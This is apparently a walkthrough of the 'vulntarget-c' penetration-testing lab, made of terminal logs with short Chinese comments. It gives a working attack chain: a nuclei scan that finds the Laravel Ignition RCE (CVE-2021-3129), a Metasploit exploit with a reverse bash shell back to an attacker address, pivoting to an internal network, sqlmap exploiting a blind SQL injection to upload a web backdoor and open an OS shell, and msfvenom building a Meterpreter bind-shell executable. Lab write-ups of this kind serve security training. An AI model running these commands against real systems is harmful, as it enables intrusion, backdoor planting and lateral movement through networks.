[root@Hacking] /home/kali/vulntarget-c
❯ nuclei -u http://192.242.168.203/
__ _
____ __ _______/ /__ (_) / __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.2
projectdiscovery.io
[WRN] Found 1 templates with syntax error (use -validate flag for further examination)[INF] Current nuclei version: v3.4.2 (outdated)[INF] Current nuclei-templates version: v10.2.7 (latest)[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 55[INF] Templates loaded for current scan: 8277[INF] Executing 8074 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 203 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1[INF] Templates clustered: 1787(Reduced 1676 Requests)[CVE-2021-3129][http][critical] http://192.242.168.203/_ignition/execute-solution ["uid=33(www-data) gid=33(www-data) groups=33(www-data)"][robots-txt][http][info] http://192.242.168.203/robots.txt
[laravel-debug-enabled][http][medium] http://192.242.168.203/_ignition/health-check
这里我选择使用metasploit来打
msf6 exploit(multi/php/ignition_laravel_debug_rce) > show options
Module options (exploit/multi/php/ignition_laravel_debug_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
LOGFILE no Laravel log file absolute path
Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.242.168.203 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-me
tasploit.html
RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /_ignition/execute-solution yes Ignition execute solution path
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.188.168.128 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)View the full module info with the info, or info -d command.
msf6 exploit(multi/php/ignition_laravel_debug_rce) > set ForceExploit true
我这里迁移反弹shell到penelope上面，查看一下网卡信息
www-data@ubuntu20:/$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 52:54:00:41:4a:66 brd ff:ff:ff:ff:ff:ff
inet 192.242.168.203/24 brd 192.242.168.255 scope global ens3
valid_lft forever preferred_lft forever
inet6 fe80::5054:ff:fe41:4a66/64 scope link
valid_lft forever preferred_lft forever
3: ens4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 52:54:00:41:4a:67 brd ff:ff:ff:ff:ff:ff
inet 10.0.20.141/24 brd 10.0.20.255 scope global ens4
valid_lft forever preferred_lft forever
inet6 fe80::5054:ff:fe41:4a67/64 scope link
valid_lft forever preferred_lft forever
4: ens5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 52:54:00:41:4a:68 brd ff:ff:ff:ff:ff:ff
inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic ens5
valid_lft 84952sec preferred_lft 84952sec
inet6 fec0::5054:ff:fe41:4a68/64 scope site dynamic mngtmpaddr noprefixroute
valid_lft 86137sec preferred_lft 14137sec
inet6 fe80::5054:ff:fe41:4a68/64 scope link
valid_lft forever preferred_lft forever
[root@Hacking] /home/kali/vulntarget-c
❯ pc -q sqlmap -u 'http://10.0.20.100/admin/?page=appointments/view_details&id=6' -p id --os-shell
___
__H__
___ ___["]_____ ___ ___ {1.9.2#stable}
|_ -| . [.] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:09:33 /2025-08-31/
[20:09:33] [INFO] resuming back-end DBMS 'mysql'
[20:09:33] [INFO] testing connection to the target URL
got a refresh intent (redirect like response common to login pages) to 'http://10.0.20.100/admin/login.php'. Do you want to apply it from now on? [Y/n] Y
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=55jt5odloii...pbmsljh38l'). Do you want to use those [Y/n] Y
[20:09:35] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=appointments/view_details&id=6' AND (SELECT 8769 FROM (SELECT(SLEEP(5)))ADGB) AND 'qQni'='qQni
---
[20:09:35] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.0.7, Apache 2.4.48
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[20:09:35] [INFO] going to use a web backdoor for command prompt
[20:09:35] [INFO] fingerprinting the back-end DBMS operating system
[20:09:35] [INFO] the back-end DBMS operating system is Windows
which web application language does the web server support?
[1] ASP (default)
[2] ASPX
[3] JSP
[4] PHP
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] Y
[20:09:45] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: C:/xampp/htdocs/ovas
[20:10:15] [WARNING] unable to automatically parse any web server path
[20:10:15] [INFO] trying to upload the file stager on 'C:/xampp/htdocs/ovas/' via LIMIT 'LINES TERMINATED BY' method
[20:10:16] [INFO] the file stager has been successfully uploaded on 'C:/xampp/htdocs/ovas/' - http://10.0.20.100:80/tmpudois.php
[20:10:16] [INFO] the backdoor has been successfully uploaded on 'C:/xampp/htdocs/ovas/' - http://10.0.20.100:80/tmpbbzvn.php
[20:10:16] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>
[root@Hacking] /home/kali/vulntarget-c
❯ msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=4444 -f exe > bind.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 496 bytes
Final size of exe file: 7168 bytes
